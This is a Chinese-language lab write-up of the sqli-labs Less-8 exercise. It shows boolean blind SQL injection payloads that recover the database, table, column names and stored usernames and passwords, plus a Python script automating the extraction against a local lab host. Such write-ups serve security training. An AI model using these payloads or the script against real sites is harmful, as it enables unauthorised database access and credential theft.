Sqli-labs Less8

Sqli-labs Less8

1. 判断注入点

在这里插入图片描述
在这里插入图片描述根据回显不同,存在单引号闭合注入点,可以尝试布尔盲注。

2.判断字段

在这里插入图片描述在这里插入图片描述根据order by判断,字段数为3。

3.爆破数据库

1' and length(database())=8 --+	判断数据库名字的长度
1' and ascii(substr(database(),1,1))=101 --+	判断数据库名中每个字符(第一个字符)
1' and ascii(substr(database(),2,1))=101 --+	判断数据库名中每个字符(第二个字符)

在这里插入图片描述爆破数据库名字的长度为8。
在这里插入图片描述爆破数据库名中的第一个字符为s,对应ASCII码115。

在这里插入图片描述爆破数据库名中的第二个字符为e,对应ASCII码101。

重复步骤得出,数据库名为security。

数据量大,推荐使用工具进行爆破,比如Burpsuite。
在这里插入图片描述

4.爆破表

判断表的数量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
	或者将前面的结果带入查询语句:
1' and (select count(table_name) from information_schema.tables where table_schema='security')=4 --+

判断表名长度:
1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+	判断第一个表的长度
1' and length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5 --+	判断第四个表的长度

判断表名的字符:
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >79 --+	判断第一个表名的第一个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)) =117--+	判断第四个表名的第一个字符
判断表的数量

在这里插入图片描述判断表的数量为4。

判断表名长度

在这里插入图片描述判断第一个表的表名长度为6。
在这里插入图片描述第四个表名长度为5。

判断表名的字符

在这里插入图片描述爆破第四个表的第一个字母为u,对应ASCII码117。

重复步骤得出,第四个表名为users。

5.爆破列

判断字段列数:
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+	

判断字段名的字符:
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+	判断第一列的列名第一个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),2,1))=ascii('d') --+	判断第一列的列名第二个字符

1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1))=ascii('u') --+	判断第二列的列名第一个字符

判断列数

在这里插入图片描述判断字段列数为3。

判断列名的字符

在这里插入图片描述判断第一列的列名的第一个字符为i,对应ASCII码为105。
在这里插入图片描述判断第一列的列名的第二个字符为d,对应ASCII码为100。
在这里插入图片描述判断第二列的列名的第一个字符为u,对应ASCII码为117。

重复步骤得出,三个列分别是id,username,password。

6.爆破数据

判断表中的条数:
1' and (select count(*) from users)=13 --+	判断用户表中字段的条数
判断数据的长度:
1' and length((select username from users limit 0,1))=4 --+	判断username字段第一个数据的长度
判断数据字符:
1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+


判断表中的条数

在这里插入图片描述判断用户表字段的条数为13条。

判断数据的长度

在这里插入图片描述判断username字段第一个数据的长度为4。

判断数据的字符

在这里插入图片描述判断username字段第一个数据的第一个字符为D,对应ASCII码68。

重复步骤得出,得到username为Dumb。
同理得到password为Dumb。

自动化脚本

根据 页面正常的话一定会有‘you are in’在响应中,网上也有直接整理出来的脚本:

import requests

# 获取数据库名长度
def database_len():
    for i in range(1, 10):
        url = f"http://127.0.0.1/sqli-labs/sqli-labs-master/Less-8/?id=1' and length(database())>{i}"
        r = requests.get(url + '%23')
        if 'You are in' not in r.text:
            print('database_length:', i)
            return i


#获取数据库名
def database_name(databaselen):
     name = ''
     for j in range(1, databaselen+1):
        for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
            url = "http://127.0.0.1/sqli-labs/sqli-labs-master/Less-8/?id=1' and substr(database(),%d,1)='%s'" % (j, i)
            #print(url+'%23')
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i
                break
     print('database_name:', name)


# 获取数据库表
def tables_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://127.0.0.1/sqli-labs/sqli-labs-master/Less-8/?id=1' " \
                  "and substr((select group_concat(table_name) from information_schema.tables " \
                  "where table_schema=database()),%d,1)='%s'" % (j, i)
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i
                break
    print('table_name:', name)



# 获取表中字段
def columns_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://127.0.0.1/sqli-labs/sqli-labs-master/Less-8/?id=1' " \
                  "and substr((select group_concat(column_name) from information_schema.columns where " \
                  "table_schema=database() and table_name='users'),%d,1)='%s'" % (j, i)
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i
                break
    print('column_name:', name)



# 获取username
def username_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://127.0.0.1/sqli-labs/sqli-labs-master/Less-8/?id=1' " \
                  "and substr((select group_concat(username) from users),%d,1)='%s'" % (j, i)
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i
                break
    print('username_value:', name)



# 获取password
def password_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://127.0.0.1/sqli-labs/sqli-labs-master/Less-8/?id=1' " \
                  "and substr((select group_concat(password) from users),%d,1)='%s'" % (j, i)
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i
                break
    print('password_value:', name)


if __name__ == '__main__':
    dblen = database_len()
    database_name(dblen)
    tables_name()
    columns_name()
    username_value()
    password_value()

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值